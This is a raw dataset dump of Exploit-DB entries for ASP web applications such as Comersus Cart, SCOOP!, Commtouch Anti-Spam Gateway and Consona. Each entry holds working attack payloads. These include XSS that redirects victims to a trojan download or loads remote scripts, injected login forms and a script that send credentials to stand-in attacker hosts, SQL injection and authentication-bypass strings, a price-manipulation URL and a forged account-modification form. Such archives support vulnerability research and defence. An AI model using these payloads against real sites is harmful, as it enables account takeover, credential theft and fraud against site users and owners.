deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32716
Description: Comersus Cart 6 - User Email and User Password Unauthorized Access
Type: webapps
Platform: asp
Date: 2009-01-12
Author: ajann

Exploit:
source: https://www.securityfocus.com/bid/33217/info

Comersus Cart is prone to a vulnerability that can result in unauthorized access.

An attacker can exploit this issue to gain unauthorized access to the affected application. Successfully exploiting this issue may compromise the application.

Comersus Cart 6 is vulnerable; other versions may also be affected.

<form method="post" name="modCust" action="http://target/[path]/comersus_customerModifyExec.asp"> <table width="421" border="0"> <tr> </tr> <tr> <td width="168">Name</td> <td width="220"> <input type=text name=customerName value="test"> </td> </tr> <tr> <td width="168">Last Name</td> <td width="220"> <input type=text name=lastName value="test"> </td> </tr> <tr> <td width="168">Company</td> <td width="220"> <input type=text name=customerCompany value="test"> </td> </tr> <tr> <td width="168">Phone</td> <td width="220"> <input type=text name=phone value="123456789"> </td> </tr> <tr> <td width="168"><strong>Email</strong></td> <td width="220"> <input type="text" name="email" value="Please Add Mail"> Edit </td> </tr> <tr> <td width="168"><strong>Password</strong></td> <td width="220"> <input type=text name=password value="Please Add Pass"> Edit </td> </tr> <tr> <td width="168">Address</td> <td width="220"> <input type=text name=address value="test"> </td> </tr> <tr> <td width="168">Zip</td> <td width="220"> <input type=text name=zip value="08050"> </td> </tr> <tr> <td width="168">State</td> <td width="220"> <SELECT name=stateCode size=1> <OPTION value="">Select the state <option value="1">Please Type County below </OPTION> </SELECT> </td> </tr> <tr> <td width="168">Non listed state</td> <td width="220"> <input type=text name=state value=""> </td> </tr> <tr> <td width="168">City</td> <td width="220"> <input type=text name=city value="test"> </td> </tr> <tr> <td width="168">Country</td> <td width="220"> <SELECT name=countryCode> <OPTION value="">Select the country <option value="AF" selected>AFGHANISTAN </OPTION> </SELECT> </td> </tr> <tr> <td width="168">&nbsp;</td> <td width="220">&nbsp;</td> </tr> <tr> <td colspan="2"> <input type="submit" name="Modify" value="Modify"> </td> </tr> </table> </form>
Exploit-DB #30204
Description: Comersus Cart 7.0.7 - 'comersus_customerAuthenticateForm.asp' redirectUrl Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-06-20
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/24562/info
 
Comersus Cart is affected by multiple input validation vulnerabilities.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
The attacker may also leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Comersus Cart 7.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/path/store/comersus_customerAuthenticateForm.asp?redirectUrl="><script>window.location="http://www.Evil_Site.com/Trojan.exe"</script>
Exploit-DB #30205
Description: Comersus Cart 7.0.7 - 'comersus_message.asp' redirectUrl Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-06-20
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/24562/info
  
Comersus Cart is affected by multiple input validation vulnerabilities.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
The attacker may also leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Comersus Cart 7.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/path/store/comersus_message.asp?message=<script src=http://www.Site.com/Evil_Script.js></script> http://www.example.com/path/store/comersus_message.asp?message=<form%20action="http://www.Evil_Site.com/Steal_Info.asp"%20method="post">Username:<input%20name="username"%20type="text"%20maxlength="10"><br>Password:<input%20name="password"%2 0type="text"%20maxlength="10"><br><input%20name="login"%20type="submit"%20value ="Login"></form>
Exploit-DB #30203
Description: Comersus Cart 7.0.7 - 'comersus_optReviewReadExec.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-06-20
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/24562/info

Comersus Cart is affected by multiple input validation vulnerabilities.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

The attacker may also leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Comersus Cart 7.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/store/comersus_optReviewReadExec.asp?idProduct='
Exploit-DB #24260
Description: Comersus Open Technologies Comersus 5.0 - 'comersus_gatewayPayPal.asp' Price Manipulation
Type: webapps
Platform: asp
Date: 2004-07-07
Author: Thomas Ryan

Exploit:
source: https://www.securityfocus.com/bid/10674/info

Comersus Cart is reported prone to multiple vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting attacks and manipulate parameters to change the price of an order.

Comersus Cart version 5.09 is affected by these issues, however, other versions may be prone to these vulnerabilities as well.

http://www.example.com/comersus/store/comersus_gatewayPayPal.asp?idOrder=2002&OrderTotal=|102|222|228|22|130|36|209&name=Thomas&lastName=Ryan&address=123+Easy+Modify+Street&city=New+York&state=NY&zip=10001&country=US&phone=212%2D857%2D1731&email=tommy%40providesecurity%2Ecom&orderDetails=1x+%23RDHT%2F11+Red+Hat+Deluxe+WorkStation+Options%3A+%3D+%2479%2E00%0D%0A2x+%23WME%2F1+Windows+Millennium+Edition+Options%3A+%3D+%24398%2E00%0D%0A1x+%23BPRES2%2F6+So+You+Want+to+Be+President%3F+Options%3A+%3D+%2414%2E39%0D%0A
Exploit-DB #24261
Description: Comersus Open Technologies Comersus 5.0 - 'comersus_message.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-07-07
Author: Thomas Ryan

Exploit:
source: https://www.securityfocus.com/bid/10674/info
 
Comersus Cart is reported prone to multiple vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting attacks and manipulate parameters to change the price of an order.
 
Comersus Cart version 5.09 is affected by these issues, however, other versions may be prone to these vulnerabilities as well.

http://www.example.com/comersus/backofficeLite/comersus_backoffice_message.asp?message=<script>alert("VULNERABLE_TO_XSS")</script>
Exploit-DB #25956
Description: Comersus Open Technologies Comersus Cart 6.0.41 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-07-07
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/14191/info

Comersus Cart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/backofficetest/backOfficePlus/comersus_backoffice_listAssignedPricesToCustomer.asp?idCustomer=7&name=><script>alert(document.cookie);</script>
http://www.example.com/backofficetest/backOfficePlus/comersus_backoffice_message.asp?message=><script>alert(document.cookie);</script>
Exploit-DB #25953
Description: Comersus Open Technologies Comersus Cart 6.0.41 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-07-07
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/14183/info

Comersus Cart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/comersus6/store/comersus_optAffiliateRegistrationExec.asp?name=1&email='&Submit=Join%20now%21
http://www.example.com/comersus6/store/comersus_optReviewReadExec.asp?idProduct='&description=
Exploit-DB #26942
Description: Commercial Interactive Media SCOOP! 2.3 - 'account_login.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16015/info
  
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
  
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/account_login.asp?Username=[XSS]
http://www.example.com/account_login.asp?Password=[XSS]
Exploit-DB #26940
Description: Commercial Interactive Media SCOOP! 2.3 - 'articleSearch.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16015/info

Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/articleSearch.asp?keywords=[XSS]
Exploit-DB #26944
Description: Commercial Interactive Media SCOOP! 2.3 - 'articleZone.asp?Invalid' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16015/info
    
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
    
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/articleZone.asp?example2=[XSS]
Exploit-DB #26943
Description: Commercial Interactive Media SCOOP! 2.3 - 'category.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16015/info
   
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
   
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/category.asp?area=[XSS]
http://www.example.com/category.asp?area=support&articleZoneID=[XSS]
http://www.example.com/category.asp?area=support&articleZoneID=132&r=[XSS]
http://www.example.com/category.asp?example1=[XSS]
Exploit-DB #26941
Description: Commercial Interactive Media SCOOP! 2.3 - 'lostPassword.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16015/info
 
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/lostPassword.asp?username=[XSS]
Exploit-DB #26945
Description: Commercial Interactive Media SCOOP! 2.3 - 'prePurchaserRegistration.asp?Invalid' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16015/info
     
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
     
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/prePurchaserRegistration.asp?example6=[XSS]
Exploit-DB #26946
Description: Commercial Interactive Media SCOOP! 2.3 - 'requestDemo.asp?Invalid' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16015/info
      
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
      
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/requestDemo.asp?example7=[XSS]
Exploit-DB #31967
Description: Commtouch Anti-Spam Enterprise Gateway - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-06-26
Author: Erez Metula

Exploit:
source: https://www.securityfocus.com/bid/29957/info

Commtouch Anti-Spam Enterprise Gateway is prone to a cross-site scripting vulnerability because the device fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Commtouch Anti-Spam Enterprise Gateway 4 and 5 are vulnerable; other versions may also be affected. 

http://www.example.com/AntiSpamGateway/UPM/English/login/login.asp?LoginName=XXX&LoginType=1&DIRECTTO=3&PARAMS=XXX"><script>function 
SendCredentials(){ img = new Image(); 
img.src="http://www.example2.com/stealer/?userid=" + 
document.forms[0].LoginName.value + "&amp;password=" + 
document.forms[0].LoginPass.value;} function HandleSubmit(){ 
document.forms[0].onsubmit= SendCredentials; } window.onload = 
HandleSubmit;</script><input%20type="hidden"%20name="Params2"%20value="x
http://www.example.com/AntiSpamGateway/UPM/English/login/login.asp?LoginName=XXX&LoginType=1&PARAMS=XXX"><SCRIPT>PAYLOAD 
</SCRIPT><input%20type="hidden"%20name="XXX"%20value="X
Exploit-DB #29597
Description: Community Server - 'SearchResults.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-02-12
Author: BL4CK

Exploit:
source: https://www.securityfocus.com/bid/22529/info

Community Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/search/SearchResults.aspx?q=%22%3e%3cscript%3ealert(%27bl4ck%27)%3c%2fscript%3e&o=Relevance
Exploit-DB #36019
Description: Community Server 2007/2008 - 'TagSelector.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2011-08-04
Author: PontoSec

Exploit:
source: https://www.securityfocus.com/bid/49022/info

Community Server is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Community Server 2007 and 2008 are vulnerable; other versions may also be affected. 

http://www.example.com/utility/TagSelector.aspx?TagEditor=[XSS]
Exploit-DB #25910
Description: Community Server Forums - 'SearchResults.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-06-28
Author: abducter_minds@yahoo.com

Exploit:
source: https://www.securityfocus.com/bid/14078/info

Community Server Forums is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, and disclose or modify sensitive information. Other attacks may also be possible. 

http://www.example.com/forum/search/SearchResults.aspx?q=><script>alert('CSS%20Vulnerable')</script><
b%20a=a%20&f=&u=
Exploit-DB #24397
Description: Compulsive Media CNU5 - 'News.mdb' Database Disclosure
Type: webapps
Platform: asp
Date: 2004-08-23
Author: Security .Net Information

Exploit:
source: https://www.securityfocus.com/bid/11004/info

CNU5 is reported prone to a database disclosure vulnerability. It is reported that remote users may download the database file 'news.mdb' and gain access to sensitive information including unencrypted authentication credentials.

CNU5 version 1.2 is reported vulnerable to this issue. CNU5 Extra may be affected as well.

This issue is being retired due to the fact that this is not a vulnerability in the application. Configuring the Web server to restrict access to sensitive files can prevent this problem.

http://www.example.com/news/news.mdb
http://www.example.com/news.mdb
Exploit-DB #15396
Description: Comrie Software Pay Roll Time Sheet & Punch Card - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-11-02
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Comriesoftware Pay Roll Time Sheet & Punch Card Authentication Bypass Vulnerability
Version:1.0
Price:50$
Vendor url:http://www.comriesoftware.net/codewidgets/product.aspx?key=123
Published: 2010-11-02
Thanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic, M4n0j,SeeMe, gunslinger, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com)
Special Greetz: Topsecure.net,0xr00t.com,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Description:

Microsoft? Access 2000/XPASP web Interface. Includes all source code and demo data.
Punch Card calculates hours from time in to time out and can span across days,Calculates Regular Hours,
Overtime Hours and Statutory Hours. Code: ASP 3.0 & VBScript
?
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Vulnerability:

*Authentication ByPass Vulnerability*

Pattern: ' or 1=1 or ''=''

DEMO URL :

http://server/login.asp

.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
# 0day n0 m0re #
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #33959
Description: Consona - 'n6plugindestructor.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-05-07
Author: Ruben Santamarta

Exploit:
source: https://www.securityfocus.com/bid/39999/info

Multiple Consona (formerly SupportSoft) products are prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials; other attacks are possible.

The following are vulnerable:
Consona Live Assistance
Consona Dynamic Agent
Consona Subscriber Assistance 

http://www.example.com/sdccommon/verify/asp/n6plugindestructor.asp?backurl=";}</script><script src="http://www.example.org/pluginlicense.js" type="text/javascript"></script><script>RenderLicense();</script><script>function returnback(){ var cnfctl = new ActiveXObject("SdcUser.TgConfCtl"); cnfctl.WHATEVER();}</script><!--
http://www.example.com/sdccommon/verify/asp/n6plugindestructor.asp?backurl=</script><script src=http://www.example.org/evil.js></script><script>function returnback() {document.write(license);document.write(payload);}</script>
Exploit-DB #30297
Description: contentserver 5.6.2929 - '/errors/rights.asp?msg' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-07-13
Author: RedTeam Pentesting

Exploit:
source: https://www.securityfocus.com/bid/24895/info

activeWeb contentserver is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Reports indicate that versions prior to contentserver 5.6.2964 are vulnerable to this issue.

http://www.example.com/errors/rights.asp?awReadAccessRight=True&msg=<script>alert('XSS')</script>